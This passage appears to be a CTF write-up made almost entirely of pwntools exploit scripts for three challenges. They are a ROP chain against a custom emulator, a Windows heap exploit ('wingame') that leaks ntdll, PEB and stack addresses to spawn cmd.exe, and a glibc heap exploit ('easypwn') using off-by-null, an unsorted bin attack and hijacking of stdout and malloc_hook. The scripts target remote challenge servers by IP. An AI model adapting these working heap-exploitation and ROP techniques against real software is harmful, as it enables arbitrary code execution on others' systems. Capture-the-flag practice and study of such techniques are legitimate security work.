mov qword r3, 0x800
syscall
read(0,sp,0x800)
cmp qword r0, 0x0
jnl byte $+0x2
GG
mov qword r3, r0
mov byte r1, 0x1
mov qword r2, r4
mov qword r0, 0x2
syscall
write(1,sp,len)
mov qword sp, bp
pop qword bp
```

```
ret
GG
GG
syscall
syscall
```

脚本

```
from pwn import *
pw ='QWQGOODR3VRW31LDON3Try2Pwn!GOGOGOGO'
p = process(['./emulator','./test.bin'])
#p = remote('47.94.20.173', 32142)
p.recvuntil('password:')
p.sendline(pw)
p.recvuntil('PWNITNOW!GOGO!')


pop_r0 = 0x2f5 #0d460011
pop_r1 = 0x377 #0d460111
pop_r2 = 0x45c #0d460211
pop_r3 = 0x4e1 #0d460311

sys_call = 0x5b1# 200811
sys_open = 0x6ed# 200a11
pay = 'a'*0x108
pay +=p64(pop_r0)
pay +=p64(1)
pay +=p64(pop_r1)
pay+=p64(0)
pay+=p64(pop_r2)
pay+=p64(0x60)
pay+=p64(pop_r3)
pay+=p64(0x10)
pay+=p64(sys_call)

pay +=p64(pop_r0)
pay +=p64(0)
pay +=p64(pop_r1)
pay+=p64(0x60)
pay+=p64(pop_r2)
pay+=p64(0x0)
pay+=p64(sys_open)

pay +=p64(pop_r0)
pay +=p64(1)
pay +=p64(pop_r1)
pay+=p64(4)
pay+=p64(pop_r2)
pay+=p64(0x70)
pay+=p64(pop_r3)
pay+=p64(0x30)
pay+=p64(sys_call )

pay +=p64(pop_r0)
pay +=p64(2)
pay +=p64(pop_r1)
pay+=p64(1)
```

```
pay+=p64(pop_r2)
pay+=p64(0x70)
pay+=p64(pop_r3)
pay+=p64(0x30)
pay+=p64(sys_call )
p.sendline(pay)
raw_input('PRESS ANY KEY')

p.sendline('flag\x00')
p.interactive()
```

wingame

```
from pwn import *
#context.log_level="debug"

def add(size,note):
    p.sendlineafter(": ","1")
    p.sendlineafter(":",str(size))
    p.sendafter(":",note)
def delete(index):
    p.sendlineafter(": ","2")
    p.sendlineafter(":",str(index))
def edit(index,note):
    p.sendlineafter(": ","3")
    p.sendlineafter(":",str(index))
    p.sendafter(":",note)
def show(index):
    p.sendlineafter(": ","4")
    p.sendlineafter(":",str(index))

#dd 0C664D8
#6AA0D07E
#p = Process("WinGame.exe")
p=remote("120.55.89.74",12345)
#p.spawn_debugger(breakin=False)
p.sendlineafter(": ","1")
for i in range(10):
    add(0x100,"a"*0x100+"\n")
#edit(0,"1"*0x108)
p.sendlineafter(": ","4")
p.sendlineafter("\n","1")
for i in range(9):
    p.sendlineafter(": ","4")
    p.sendlineafter("\n","0")
edit(9,"a"*0x108)
edit(9,"a"*0x108+"\x40\x01\n")
p.sendlineafter(": ","5")
p.sendlineafter("\n","1")
p.sendlineafter(":","131")
s=p.recv(1)+p.recv(1)
print s.encode("hex")
addr = ord(s[0])*0x10000+ord(s[1])*0x1000000
print "exec base:",hex(addr)
p.sendlineafter(": ","5")
p.sendlineafter("\n","1")
```

```
p.sendlineafter(":","132")
s1=p.recv(1)+p.recv(1)
print s1.encode("hex")
p.sendlineafter(": ","5")
p.sendlineafter("\n","1")
p.sendlineafter(":","133")
s2=p.recv(1)+p.recv(1)
print s2.encode("hex")
key=s1+s2
print "key:",hex(u32(key))
p.sendlineafter(": ","6")
p.sendlineafter(": ","2")
p.sendlineafter(":",key)
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
add(0x20,"\n")
delete(2)
delete(4)

edit(2,p32(addr+0x64e4)+p32(addr+0x64e8)+"\n")
delete(1)
edit(2,p32(addr+0x64f0)+p32(0x100)+p32(addr+0x4034)+p32(0x100)+"\n")
show(3)
p.recvuntil(":")
ntdll_addr = u32(p.recv(4))-0x66e90
print "ntdll addr:",hex(ntdll_addr)
edit(2,p32(ntdll_addr+0x120c40-52)+p64(0x100)+"\n")
show(3)
p.recvuntil(":")
peb_addr = u32(p.recv(3)+"\x00")-0x21c
print "peb addr:",hex(peb_addr)
teb_addr = peb_addr+0x3000+6
edit(2,p32(addr+0x6018)+p32(0x100)+"\n")
edit(3,p32(0xffff)*4+"\n")
edit(2,p32(teb_addr)+p64(0x100)+"\n")
show(3)
p.recvuntil(":")
stack_addr = u32(("\x00\x00"+p.recvuntil("\r\n")[:-2]).ljust(4,"\x00"))
print "stack addr:",hex(stack_addr)
edit(2,p32(addr+0x414c)+p64(0x100)+"\n")
show(3)
p.recvuntil(":")
ucrt_addr = u32(p.recv(4))-0xb89f0
print "ucrt addr:",hex(ucrt_addr)
main_ret = 0
context.log_level="debug"
for i in range(300,0x1000):
    print i
    edit(2,p32(stack_addr-i*4)+p64(0x100)+"\n")
    show(3)
    p.recvuntil(":")
    tmp = p.recvuntil("\r\n")[:-2].ljust(4,"\x00")[:4]
    if u32(tmp) == addr+0x239a:
       main_ret = stack_addr-i*4
       break
```

```
print "main ret:",hex(main_ret)
edit(2,p32(main_ret)+p64(0x100)+"\n")
edit(3,p32(ucrt_addr+0xefda0)+p32(0)+p32(main_ret+0xc)+"cmd.exe\x00\n")
p.sendlineafter(": ","5")
p.interactive()
```

easypwn

题目关闭了fastbin，存在溢出off-by-null漏洞

首先构造overlap,部分写进行unsorted bin attack，将global_max_fast改写

利用堆中残存的libc地址结合fastbin attack打stdout进行泄漏，最后打malloc_hook即可

```
from pwn import *
context.log_level="debug"

def add(size):
    p.sendlineafter(":\n",str(1))
    p.sendlineafter(":\n",str(size))
def edit(index,note):
    p.sendlineafter(":\n",str(2))
    p.sendlineafter(":\n",str(index))
    p.sendafter(":\n",note)
def delete(index):
    p.sendlineafter(":\n",str(3))
    p.sendlineafter(":\n",str(index))
for i in range(100):
    try:
        p=remote("39.101.184.181",10000)
        #p=process("./easypwn")
        add(0x68)
        add(0x68)
        add(0x68)
        add(0x68)
        add(0xf8)
        add(0x68)
        add(0x18)
        add(0x18)
        delete(0)
        edit(3,"a"*0x60+p64(0x1c0))
        delete(6)
        delete(4)
        add(0x68)#0
        add(0x68)#4
        add(0x68)#6
        edit(3,"a"*8+"\xe8\x37\n")
        add(0x168)
        delete(2)
        delete(1)
        edit(4,"\x00\n")
        edit(0,"\xdd\x25\n")
        add(0x68)#1
        add(0x68)#2
        add(0x68)#9
        edit(9,"\x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "\x00\n")
        p.recvuntil("\x7f\x00\x00")
```

```
        addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
        print hex(addr)
        p.sendline("3")
        p.sendlineafter(":\n","2")
        edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"\n")
        add(0x68)
        add(0x68)
        edit(10,"\x00"*0x13+p64(addr+0xf0364)+"\n")
        #gdb.attach(p)
        add(0x10)
        p.interactive()
    except:
        print "fail"
```